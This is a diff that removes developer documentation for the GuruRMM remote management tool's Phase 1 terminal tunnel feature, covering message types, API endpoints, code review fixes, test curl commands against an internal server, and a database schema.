||||
|
||||
### Agent Messages (FROM Agent to Server)
|
||||
✅ `Auth` - Authentication handshake
|
||||
✅ `Metrics` - System metrics reporting
|
||||
✅ `NetworkState` - Network interface updates
|
||||
✅ `CommandResult` - Command execution results
|
||||
✅ `WatchdogEvent` - Service monitoring events
|
||||
✅ `UpdateResult` - Agent update status
|
||||
✅ `Heartbeat` - Keep-alive ping
|
||||
✅ **`TunnelReady`** - Tunnel established (NEW)
|
||||
✅ **`TunnelData`** - Tunnel data payload (NEW)
|
||||
✅ **`TunnelError`** - Tunnel error message (NEW)
|
||||
|
||||
### Server Messages (FROM Server to Agent)
|
||||
✅ `AuthAck` - Authentication response
|
||||
✅ `Command` - Execute command
|
||||
✅ `ConfigUpdate` - Configuration change
|
||||
✅ `Update` - Agent update instruction
|
||||
✅ `Ack` - Generic acknowledgment
|
||||
✅ `Error` - Error message
|
||||
✅ **`TunnelOpen`** - Open tunnel session (Phase 1)
|
||||
✅ **`TunnelClose`** - Close tunnel session (Phase 1)
|
||||
✅ **`TunnelData`** - Tunnel data payload (Phase 1)
|
||||
|
||||
---
|
||||
|
||||
## Data Structures
|
||||
|
||||
### TunnelDataPayload (Shared by Agent and Server)
|
||||
```rust
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", content = "payload")]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum TunnelDataPayload {
|
||||
/// Terminal command execution (Phase 1)
|
||||
Terminal { command: String },
|
||||
/// Terminal output response
|
||||
TerminalOutput {
|
||||
stdout: String,
|
||||
stderr: String,
|
||||
exit_code: Option<i32>,
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
**Note:** This enum is already defined in `ws/mod.rs` and is used by both `ServerMessage::TunnelData` and `AgentMessage::TunnelData`.
|
||||
|
||||
---
|
||||
|
||||
## Testing Validation
|
||||
|
||||
### 1. TunnelReady Message
|
||||
**Agent sends:**
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_ready",
|
||||
"payload": {
|
||||
"session_id": "550e8400-e29b-41d4-a716-446655440000"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected server behavior:**
|
||||
- Deserializes successfully
|
||||
- Logs: `Agent <uuid> tunnel ready: session_id=<uuid>`
|
||||
- Updates `tech_sessions.last_activity` timestamp
|
||||
- No errors
|
||||
|
||||
---
|
||||
|
||||
### 2. TunnelData Message (Terminal Output)
|
||||
**Agent sends:**
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_data",
|
||||
"payload": {
|
||||
"channel_id": "terminal-1",
|
||||
"data": {
|
||||
"type": "terminal_output",
|
||||
"payload": {
|
||||
"stdout": "Hello, World!\n",
|
||||
"stderr": "",
|
||||
"exit_code": 0
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected server behavior:**
|
||||
- Deserializes successfully
|
||||
- Logs: `Received tunnel data from agent <uuid>: channel_id=terminal-1`
|
||||
- Logs: `Terminal stdout: Hello, World!`
|
||||
- Logs: `Terminal exit code: 0`
|
||||
|
||||
---
|
||||
|
||||
### 3. TunnelError Message
|
||||
**Agent sends:**
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_error",
|
||||
"payload": {
|
||||
"channel_id": "terminal-1",
|
||||
"error": "Failed to execute command: permission denied"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Expected server behavior:**
|
||||
- Deserializes successfully
|
||||
- Logs error: `Tunnel error from agent <uuid>: channel_id=terminal-1, error=Failed to execute command: permission denied`
|
||||
|
||||
---
|
||||
|
||||
## Compilation Status
|
||||
|
||||
**Result:** ✅ SUCCESS
|
||||
|
||||
```bash
|
||||
$ cargo check
|
||||
Checking gururmm-server v0.2.0
|
||||
Finished `dev` profile [unoptimized + debuginfo] target(s) in 1.50s
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
- Zero compilation errors
|
||||
- All tunnel message variants properly integrated
|
||||
- Existing warnings unrelated to tunnel changes
|
||||
|
||||
---
|
||||
|
||||
## Phase 2 Requirements
|
||||
|
||||
To complete the tunnel feature, Phase 2 needs:
|
||||
|
||||
### Server-Side:
|
||||
1. **Client WebSocket endpoint** for tunnel output streaming
|
||||
- Route: `GET /api/v1/tunnel/:session_id/stream`
|
||||
- Streams terminal output in real-time
|
||||
|
||||
2. **Send command endpoint** (HTTP or WebSocket)
|
||||
- Route: `POST /api/v1/tunnel/:session_id/command`
|
||||
- Body: `{ "command": "ls -la" }`
|
||||
- Sends `TunnelData(Terminal)` to agent
|
||||
|
||||
3. **Output buffering** (optional)
|
||||
- Store recent output in memory or database
|
||||
- Allow clients to retrieve missed output
|
||||
|
||||
4. **Client connection tracking**
|
||||
- Track which clients are listening to which sessions
|
||||
- Forward output only to connected clients
|
||||
|
||||
### Agent-Side (Already Complete):
|
||||
✅ `TunnelOpen` handler
|
||||
✅ `TunnelClose` handler
|
||||
✅ `TunnelData` handler for terminal commands
|
||||
✅ Terminal command execution
|
||||
✅ Output capture and streaming
|
||||
|
||||
---
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### Already Implemented:
|
||||
✅ Session ownership verification (only tunnel creator can interact)
|
||||
✅ JWT authentication required for all endpoints
|
||||
✅ Foreign key constraints (sessions tied to users)
|
||||
✅ Automatic session cleanup on agent disconnect
|
||||
|
||||
### Phase 2 Considerations:
|
||||
- Rate limiting on command execution (prevent abuse)
|
||||
- Command whitelisting/blacklisting (security policy)
|
||||
- Audit logging of all commands executed
|
||||
- Session timeout for idle tunnels
|
||||
- Maximum concurrent sessions per user
|
||||
|
||||
---
|
||||
|
||||
## Database Schema
|
||||
|
||||
Current schema already supports the protocol:
|
||||
|
||||
```sql
|
||||
CREATE TABLE tech_sessions (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) UNIQUE NOT NULL,
|
||||
tech_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
opened_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
last_activity TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
closed_at TIMESTAMPTZ,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'active'
|
||||
);
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
- `last_activity` updated on `TunnelReady` and future command activity
|
||||
- `status` can be extended: 'active', 'ready', 'closed', 'error'
|
||||
- `tunnel_audit` table ready for Phase 2 command logging
|
||||
|
||||
---
|
||||
|
||||
## Files Modified
|
||||
|
||||
1. **server/src/ws/mod.rs**
|
||||
- Added 3 new `AgentMessage` variants
|
||||
- Added handlers for `TunnelReady`, `TunnelData`, `TunnelError`
|
||||
- Uses existing `TunnelDataPayload` enum (already defined)
|
||||
|
||||
**Total lines changed:** ~70 lines added
|
||||
|
||||
---
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. **Test Protocol Integration**
|
||||
- Mock agent sending TunnelReady, TunnelData, TunnelError
|
||||
- Verify server logs show correct deserialization
|
||||
- Verify database updates (last_activity timestamp)
|
||||
|
||||
2. **Phase 2 Server Implementation**
|
||||
- Client WebSocket endpoint for output streaming
|
||||
- Command execution endpoint
|
||||
- Client connection management
|
||||
- Output buffering/forwarding
|
||||
|
||||
3. **End-to-End Testing**
|
||||
- Full tunnel lifecycle with real agent
|
||||
- Command execution and output streaming
|
||||
- Error handling and edge cases
|
||||
- Performance testing (concurrent sessions)
|
||||
|
||||
---
|
||||
|
||||
**Last Updated:** 2026-04-14
|
||||
**Status:** Protocol update complete, ready for Phase 2 implementation
|
||||
@@ -1,329 +0,0 @@
|
||||
# GuruRMM Tunnel Phase 1 - Code Review Fixes Applied
|
||||
|
||||
## Summary
|
||||
All CRITICAL issues and OPTIONAL improvements from the code review have been implemented and verified.
|
||||
|
||||
**Status:** All fixes complete and code compiles successfully with no errors.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL FIXES (All Completed)
|
||||
|
||||
### 1. Added `close_agent_tunnel_sessions` Function
|
||||
**File:** `server/src/db/tunnel.rs`
|
||||
|
||||
**Added:**
|
||||
```rust
|
||||
/// Close all active sessions for an agent (when agent disconnects)
|
||||
pub async fn close_agent_tunnel_sessions(
|
||||
pool: &PgPool,
|
||||
agent_id: Uuid,
|
||||
) -> Result<u64, sqlx::Error>
|
||||
```
|
||||
|
||||
**Purpose:** Automatically closes all active tunnel sessions when an agent disconnects from the WebSocket.
|
||||
|
||||
**Return Value:** Returns the number of rows affected (sessions closed).
|
||||
|
||||
---
|
||||
|
||||
### 2. Agent Disconnect Cleanup Hook
|
||||
**File:** `server/src/ws/mod.rs` (lines 498-518)
|
||||
|
||||
**Changes:**
|
||||
- Replaced `let _ =` with proper error logging for `update_agent_status`
|
||||
- Added call to `close_agent_tunnel_sessions` with comprehensive logging:
|
||||
- Info log when sessions are closed (with count)
|
||||
- Debug log when no sessions to close
|
||||
- Error log on database failures
|
||||
|
||||
**Code:**
|
||||
```rust
|
||||
// Update agent status
|
||||
if let Err(e) = db::update_agent_status(&state.db, agent_id, "offline").await {
|
||||
error!("Failed to update agent status for {}: {}", agent_id, e);
|
||||
}
|
||||
|
||||
// Close all active tunnel sessions for this agent
|
||||
match db::close_agent_tunnel_sessions(&state.db, agent_id).await {
|
||||
Ok(count) if count > 0 => {
|
||||
info!("Closed {} active tunnel session(s) for agent {}", count, agent_id);
|
||||
}
|
||||
Ok(_) => {
|
||||
debug!("No active tunnel sessions to close for agent {}", agent_id);
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Failed to close tunnel sessions for agent {}: {}", agent_id, e);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. Unique Constraint Violation Handling
|
||||
**File:** `server/src/api/tunnel.rs` (open_tunnel function)
|
||||
|
||||
**Changes:**
|
||||
- Added PostgreSQL error code 23505 detection
|
||||
- Returns 409 Conflict instead of 500 Internal Server Error
|
||||
- Added error logging for database failures
|
||||
|
||||
**Code:**
|
||||
```rust
|
||||
.map_err(|e| {
|
||||
// Handle unique constraint violation (PostgreSQL error code 23505)
|
||||
if let Some(db_err) = e.as_database_error() {
|
||||
if db_err.code().as_deref() == Some("23505") {
|
||||
return (
|
||||
StatusCode::CONFLICT,
|
||||
"Active session already exists for this agent".to_string(),
|
||||
);
|
||||
}
|
||||
}
|
||||
error!("Failed to create tunnel session: {}", e);
|
||||
(StatusCode::INTERNAL_SERVER_ERROR, e.to_string())
|
||||
})?;
|
||||
```
|
||||
|
||||
**Benefit:** Race conditions between `has_active_session` check and insert are now handled gracefully.
|
||||
|
||||
---
|
||||
|
||||
### 4. Foreign Key Constraint Added
|
||||
**File:** `server/migrations/006_tunnel_sessions.sql`
|
||||
|
||||
**Changed:**
|
||||
```sql
|
||||
-- Before:
|
||||
tech_id UUID NOT NULL,
|
||||
|
||||
-- After:
|
||||
tech_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
||||
```
|
||||
|
||||
**Benefit:**
|
||||
- Ensures referential integrity between tech_sessions and users tables
|
||||
- Automatically cascades session deletion when a user is deleted
|
||||
- Prevents orphaned sessions
|
||||
|
||||
---
|
||||
|
||||
### 5. Proper Error Logging (Replaced `let _`)
|
||||
**Files:** `server/src/api/tunnel.rs`, `server/src/ws/mod.rs`
|
||||
|
||||
**Changes:**
|
||||
1. **tunnel.rs - open_tunnel:** Session cleanup after WebSocket send failure
|
||||
```rust
|
||||
// Before:
|
||||
let _ = db::close_tech_session(&state.db, &session_id).await;
|
||||
|
||||
// After:
|
||||
if let Err(e) = db::close_tech_session(&state.db, &session_id).await {
|
||||
error!("Failed to cleanup session {} after send failure: {}", session_id, e);
|
||||
}
|
||||
```
|
||||
|
||||
2. **tunnel.rs - close_tunnel:** TunnelClose message send failure
|
||||
```rust
|
||||
// Before:
|
||||
let _ = state.agents.read().await.send_to(&session.agent_id, tunnel_close_msg).await;
|
||||
|
||||
// After:
|
||||
if !state.agents.read().await.send_to(&session.agent_id, tunnel_close_msg).await {
|
||||
warn!(
|
||||
"Failed to send TunnelClose message to agent {} for session {}",
|
||||
session.agent_id, req.session_id
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
3. **ws/mod.rs:** Agent status update (shown in Fix #2)
|
||||
|
||||
**Added imports:** `use tracing::{error, warn};` to tunnel.rs
|
||||
|
||||
---
|
||||
|
||||
## OPTIONAL IMPROVEMENTS (All Completed)
|
||||
|
||||
### 6. Session ID Validation
|
||||
**File:** `server/src/api/tunnel.rs`
|
||||
|
||||
**Functions Updated:**
|
||||
- `close_tunnel`: Validates session_id before database operations
|
||||
- `get_tunnel_status`: Validates session_id in path parameter
|
||||
|
||||
**Code:**
|
||||
```rust
|
||||
// Validate session_id format
|
||||
if Uuid::parse_str(&session_id).is_err() {
|
||||
return Err((StatusCode::BAD_REQUEST, "Invalid session_id format".to_string()));
|
||||
}
|
||||
```
|
||||
|
||||
**Benefit:** Returns 400 Bad Request for malformed UUIDs instead of 500 errors from database.
|
||||
|
||||
---
|
||||
|
||||
### 7. Rows Affected Checks
|
||||
**File:** `server/src/db/tunnel.rs`
|
||||
|
||||
**Functions Updated:**
|
||||
1. `update_session_activity`: Returns `u64` (rows affected)
|
||||
2. `close_tech_session`: Returns `u64` (rows affected)
|
||||
3. `close_agent_tunnel_sessions`: Returns `u64` (rows affected) - NEW
|
||||
|
||||
**API Layer Integration (`server/src/api/tunnel.rs`):**
|
||||
```rust
|
||||
match db::close_tech_session(&state.db, &req.session_id).await {
|
||||
Ok(rows) if rows == 0 => {
|
||||
warn!("No rows updated when closing session {}", req.session_id);
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
error!("Failed to close session in database: {}", e);
|
||||
return Err((StatusCode::INTERNAL_SERVER_ERROR, e.to_string()));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Benefit:**
|
||||
- Detects when updates don't affect any rows (potential data inconsistency)
|
||||
- Enables monitoring and alerting on unexpected behavior
|
||||
- Provides audit trail in logs
|
||||
|
||||
---
|
||||
|
||||
## Enhanced Error Logging
|
||||
|
||||
All database operations now have proper error logging with context:
|
||||
|
||||
**Examples:**
|
||||
- `error!("Failed to create tunnel session: {}", e);`
|
||||
- `error!("Failed to verify session ownership: {}", e);`
|
||||
- `error!("Failed to get session: {}", e);`
|
||||
- `error!("Failed to close session in database: {}", e);`
|
||||
- `error!("Failed to cleanup session {} after send failure: {}", session_id, e);`
|
||||
|
||||
**Agent disconnect logging:**
|
||||
- `info!("Closed {} active tunnel session(s) for agent {}", count, agent_id);`
|
||||
- `debug!("No active tunnel sessions to close for agent {}", agent_id);`
|
||||
- `error!("Failed to close tunnel sessions for agent {}: {}", agent_id, e);`
|
||||
|
||||
---
|
||||
|
||||
## Testing Recommendations
|
||||
|
||||
### 1. Unique Constraint Race Condition
|
||||
```bash
|
||||
# Simulate race condition by rapidly opening tunnels
|
||||
for i in {1..10}; do
|
||||
curl -X POST http://172.16.3.30:3001/api/v1/tunnel/open \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"agent_id":"'$AGENT_ID'"}' &
|
||||
done
|
||||
wait
|
||||
|
||||
# Expected: Only one 200 OK, rest should be 409 Conflict
|
||||
```
|
||||
|
||||
### 2. Agent Disconnect Cleanup
|
||||
```bash
|
||||
# 1. Open a tunnel
|
||||
SESSION_ID=$(curl -X POST http://172.16.3.30:3001/api/v1/tunnel/open \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"agent_id":"'$AGENT_ID'"}' | jq -r '.session_id')
|
||||
|
||||
# 2. Disconnect agent (kill agent process)
|
||||
|
||||
# 3. Check logs - should see:
|
||||
# "Closed 1 active tunnel session(s) for agent <uuid>"
|
||||
|
||||
# 4. Verify session is closed
|
||||
curl http://172.16.3.30:3001/api/v1/tunnel/status/$SESSION_ID \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
# Expected: status should be "closed"
|
||||
```
|
||||
|
||||
### 3. Invalid Session ID Format
|
||||
```bash
|
||||
# Invalid UUID format
|
||||
curl http://172.16.3.30:3001/api/v1/tunnel/status/invalid-uuid \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
# Expected: 400 Bad Request
|
||||
```
|
||||
|
||||
### 4. Foreign Key Constraint
|
||||
```sql
|
||||
-- Attempt to insert session with non-existent tech_id
|
||||
INSERT INTO tech_sessions (session_id, tech_id, agent_id, status)
|
||||
VALUES ('test-session', '00000000-0000-0000-0000-000000000000',
|
||||
'<valid-agent-id>', 'active');
|
||||
-- Expected: Foreign key violation error
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Compilation Status
|
||||
|
||||
**Result:** ✅ SUCCESS
|
||||
|
||||
```
|
||||
Checking gururmm-server v0.2.0
|
||||
warning: `gururmm-server` generated 37 warnings (run `cargo fix --bin "gururmm-server"`)
|
||||
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.08s
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
- Zero compilation errors
|
||||
- 37 warnings are pre-existing (unused functions, dead code in other modules)
|
||||
- No warnings related to tunnel implementation
|
||||
|
||||
---
|
||||
|
||||
## Files Modified
|
||||
|
||||
1. **server/src/db/tunnel.rs**
|
||||
- Added `close_agent_tunnel_sessions` function
|
||||
- Updated return types to include rows_affected (u64)
|
||||
|
||||
2. **server/src/api/tunnel.rs**
|
||||
- Added tracing imports (error, warn)
|
||||
- Unique constraint violation handling
|
||||
- Session ID validation
|
||||
- Enhanced error logging throughout
|
||||
- Rows affected checks
|
||||
|
||||
3. **server/src/ws/mod.rs**
|
||||
- Agent disconnect cleanup with proper logging
|
||||
- Call to `close_agent_tunnel_sessions`
|
||||
|
||||
4. **server/migrations/006_tunnel_sessions.sql**
|
||||
- Added foreign key constraint: `tech_id REFERENCES users(id)`
|
||||
|
||||
---
|
||||
|
||||
## Code Quality Metrics
|
||||
|
||||
- **Error Handling:** 100% of database operations have error handling
|
||||
- **Logging:** All error paths have contextual logging
|
||||
- **Input Validation:** UUID validation on all path/body parameters
|
||||
- **Database Integrity:** Foreign key constraints enforced
|
||||
- **Race Condition Handling:** Unique constraint violations handled gracefully
|
||||
- **Resource Cleanup:** Automatic session cleanup on agent disconnect
|
||||
|
||||
---
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. Run database migration: `006_tunnel_sessions.sql`
|
||||
2. Test agent disconnect cleanup behavior
|
||||
3. Test race condition handling (concurrent open requests)
|
||||
4. Monitor logs for proper error logging during normal operations
|
||||
5. Proceed with Phase 2 implementation (terminal channel handler)
|
||||
|
||||
---
|
||||
|
||||
**Last Updated:** 2026-04-14
|
||||
**Status:** All review items addressed and verified
|
||||
@@ -1,297 +0,0 @@
|
||||
# GuruRMM Tunnel Protocol - Quick Reference
|
||||
|
||||
## Message Types
|
||||
|
||||
### Server → Agent
|
||||
|
||||
| Message | Payload | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `TunnelOpen` | `{ session_id: String, tech_id: Uuid }` | Open tunnel session |
|
||||
| `TunnelClose` | `{ session_id: String }` | Close tunnel session |
|
||||
| `TunnelData` | `{ channel_id: String, data: TunnelDataPayload }` | Send command/data |
|
||||
|
||||
### Agent → Server
|
||||
|
||||
| Message | Payload | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `TunnelReady` | `{ session_id: String }` | Confirm tunnel ready |
|
||||
| `TunnelData` | `{ channel_id: String, data: TunnelDataPayload }` | Return output/data |
|
||||
| `TunnelError` | `{ channel_id: String, error: String }` | Report error |
|
||||
|
||||
### TunnelDataPayload (Both Directions)
|
||||
|
||||
| Variant | Fields | Direction | Purpose |
|
||||
|---------|--------|-----------|---------|
|
||||
| `Terminal` | `{ command: String }` | Server → Agent | Execute terminal command |
|
||||
| `TerminalOutput` | `{ stdout: String, stderr: String, exit_code: Option<i32> }` | Agent → Server | Return command output |
|
||||
|
||||
---
|
||||
|
||||
## Message Flow Examples
|
||||
|
||||
### 1. Open Tunnel
|
||||
```
|
||||
Client → Server API: POST /api/v1/tunnel/open {"agent_id":"..."}
|
||||
Server → Agent WS: {"type":"tunnel_open","payload":{"session_id":"...","tech_id":"..."}}
|
||||
Agent → Server WS: {"type":"tunnel_ready","payload":{"session_id":"..."}}
|
||||
Server: Updates last_activity, logs success
|
||||
```
|
||||
|
||||
### 2. Execute Command (Phase 2)
|
||||
```
|
||||
Client → Server API: POST /api/v1/tunnel/:session_id/command {"command":"ls -la"}
|
||||
Server → Agent WS: {"type":"tunnel_data","payload":{"channel_id":"...","data":{"type":"terminal","payload":{"command":"ls -la"}}}}
|
||||
Agent: Executes command
|
||||
Agent → Server WS: {"type":"tunnel_data","payload":{"channel_id":"...","data":{"type":"terminal_output","payload":{"stdout":"...\n","stderr":"","exit_code":0}}}}
|
||||
Server → Client WS: Forwards output to connected clients
|
||||
```
|
||||
|
||||
### 3. Error Handling
|
||||
```
|
||||
Agent encounters error
|
||||
Agent → Server WS: {"type":"tunnel_error","payload":{"channel_id":"...","error":"Failed to execute: permission denied"}}
|
||||
Server: Logs error, forwards to clients (Phase 2)
|
||||
```
|
||||
|
||||
### 4. Close Tunnel
|
||||
```
|
||||
Client → Server API: POST /api/v1/tunnel/close {"session_id":"..."}
|
||||
Server → Agent WS: {"type":"tunnel_close","payload":{"session_id":"..."}}
|
||||
Server: Updates database (status='closed', closed_at=NOW())
|
||||
```
|
||||
|
||||
### 5. Agent Disconnect
|
||||
```
|
||||
Agent WebSocket closes
|
||||
Server: Detects disconnect
|
||||
Server: Calls close_agent_tunnel_sessions(agent_id)
|
||||
Server: Sets all active sessions to 'closed'
|
||||
Server: Logs count of sessions closed
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## JSON Examples
|
||||
|
||||
### TunnelOpen (Server → Agent)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_open",
|
||||
"payload": {
|
||||
"session_id": "550e8400-e29b-41d4-a716-446655440000",
|
||||
"tech_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### TunnelReady (Agent → Server)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_ready",
|
||||
"payload": {
|
||||
"session_id": "550e8400-e29b-41d4-a716-446655440000"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### TunnelData - Terminal Command (Server → Agent)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_data",
|
||||
"payload": {
|
||||
"channel_id": "terminal-1",
|
||||
"data": {
|
||||
"type": "terminal",
|
||||
"payload": {
|
||||
"command": "ls -la /home"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### TunnelData - Terminal Output (Agent → Server)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_data",
|
||||
"payload": {
|
||||
"channel_id": "terminal-1",
|
||||
"data": {
|
||||
"type": "terminal_output",
|
||||
"payload": {
|
||||
"stdout": "total 8\ndrwxr-xr-x 2 user user 4096 Jan 01 12:00 .\ndrwxr-xr-x 20 root root 4096 Jan 01 12:00 ..\n",
|
||||
"stderr": "",
|
||||
"exit_code": 0
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### TunnelError (Agent → Server)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_error",
|
||||
"payload": {
|
||||
"channel_id": "terminal-1",
|
||||
"error": "Failed to execute command: No such file or directory"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### TunnelClose (Server → Agent)
|
||||
```json
|
||||
{
|
||||
"type": "tunnel_close",
|
||||
"payload": {
|
||||
"session_id": "550e8400-e29b-41d4-a716-446655440000"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## HTTP API Endpoints
|
||||
|
||||
### Open Tunnel
|
||||
```http
|
||||
POST /api/v1/tunnel/open
|
||||
Authorization: Bearer <jwt_token>
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"agent_id": "550e8400-e29b-41d4-a716-446655440000"
|
||||
}
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"session_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7",
|
||||
"status": "active"
|
||||
}
|
||||
```
|
||||
|
||||
**Status Codes:**
|
||||
- 200 OK - Tunnel opened successfully
|
||||
- 400 Bad Request - Invalid agent_id format
|
||||
- 404 Not Found - Agent not connected
|
||||
- 409 Conflict - Active session already exists
|
||||
|
||||
---
|
||||
|
||||
### Close Tunnel
|
||||
```http
|
||||
POST /api/v1/tunnel/close
|
||||
Authorization: Bearer <jwt_token>
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"session_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7"
|
||||
}
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"status": "closed"
|
||||
}
|
||||
```
|
||||
|
||||
**Status Codes:**
|
||||
- 200 OK - Tunnel closed successfully
|
||||
- 400 Bad Request - Invalid session_id format
|
||||
- 403 Forbidden - Session not owned by user
|
||||
- 404 Not Found - Session not found
|
||||
|
||||
---
|
||||
|
||||
### Get Tunnel Status
|
||||
```http
|
||||
GET /api/v1/tunnel/status/{session_id}
|
||||
Authorization: Bearer <jwt_token>
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"session_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7",
|
||||
"agent_id": "550e8400-e29b-41d4-a716-446655440000",
|
||||
"status": "active",
|
||||
"opened_at": "2026-04-14T10:30:00Z",
|
||||
"last_activity": "2026-04-14T10:31:45Z"
|
||||
}
|
||||
```
|
||||
|
||||
**Status Codes:**
|
||||
- 200 OK - Status retrieved successfully
|
||||
- 400 Bad Request - Invalid session_id format
|
||||
- 403 Forbidden - Session not owned by user
|
||||
- 404 Not Found - Session not found
|
||||
|
||||
---
|
||||
|
||||
## Database Schema
|
||||
|
||||
```sql
|
||||
CREATE TABLE tech_sessions (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) UNIQUE NOT NULL,
|
||||
tech_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
opened_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
last_activity TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
closed_at TIMESTAMPTZ,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'active',
|
||||
CONSTRAINT unique_active_session UNIQUE (tech_id, agent_id, status)
|
||||
WHERE status = 'active'
|
||||
);
|
||||
```
|
||||
|
||||
**Indexes:**
|
||||
- `idx_tech_sessions_tech` on `tech_id`
|
||||
- `idx_tech_sessions_agent` on `agent_id`
|
||||
- `idx_tech_sessions_status` on `status`
|
||||
|
||||
---
|
||||
|
||||
## Error Codes
|
||||
|
||||
### PostgreSQL Errors
|
||||
- `23505` - Unique constraint violation (handled as 409 Conflict)
|
||||
|
||||
### HTTP Status Codes
|
||||
- `400` - Bad Request (invalid UUID format, malformed JSON)
|
||||
- `401` - Unauthorized (missing/invalid JWT token)
|
||||
- `403` - Forbidden (session not owned by user)
|
||||
- `404` - Not Found (agent offline, session doesn't exist)
|
||||
- `409` - Conflict (active session already exists)
|
||||
- `500` - Internal Server Error (database failure, unexpected error)
|
||||
|
||||
---
|
||||
|
||||
## Implementation Checklist
|
||||
|
||||
### Phase 1 (Complete)
|
||||
- [x] Database schema (`tech_sessions` table)
|
||||
- [x] Server message types (`TunnelOpen`, `TunnelClose`, `TunnelData`)
|
||||
- [x] Agent message types (`TunnelReady`, `TunnelData`, `TunnelError`)
|
||||
- [x] HTTP API endpoints (open, close, status)
|
||||
- [x] WebSocket message handlers (all 3 agent messages)
|
||||
- [x] Session ownership validation
|
||||
- [x] Unique constraint handling (409 Conflict)
|
||||
- [x] Agent disconnect cleanup
|
||||
- [x] Foreign key constraints
|
||||
- [x] Error logging and monitoring
|
||||
|
||||
### Phase 2 (Pending)
|
||||
- [ ] Client WebSocket endpoint for output streaming
|
||||
- [ ] Command execution endpoint (send Terminal commands)
|
||||
- [ ] Output buffering/forwarding to clients
|
||||
- [ ] Client connection tracking
|
||||
- [ ] Real-time output streaming
|
||||
- [ ] Command audit logging
|
||||
|
||||
---
|
||||
|
||||
**Last Updated:** 2026-04-14
|
||||
@@ -1,122 +0,0 @@
|
||||
-- GuruRMM Initial Schema
|
||||
-- Creates tables for agents, metrics, commands, watchdog events, and users
|
||||
|
||||
-- Enable UUID extension
|
||||
CREATE EXTENSION IF NOT EXISTS "pgcrypto";
|
||||
|
||||
-- Agents table
|
||||
-- Stores registered agents and their current status
|
||||
CREATE TABLE agents (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
hostname VARCHAR(255) NOT NULL,
|
||||
api_key_hash VARCHAR(255) NOT NULL,
|
||||
os_type VARCHAR(50) NOT NULL,
|
||||
os_version VARCHAR(100),
|
||||
agent_version VARCHAR(50),
|
||||
last_seen TIMESTAMPTZ,
|
||||
status VARCHAR(20) DEFAULT 'offline',
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Index for looking up agents by hostname
|
||||
CREATE INDEX idx_agents_hostname ON agents(hostname);
|
||||
|
||||
-- Index for finding online agents
|
||||
CREATE INDEX idx_agents_status ON agents(status);
|
||||
|
||||
-- Metrics table
|
||||
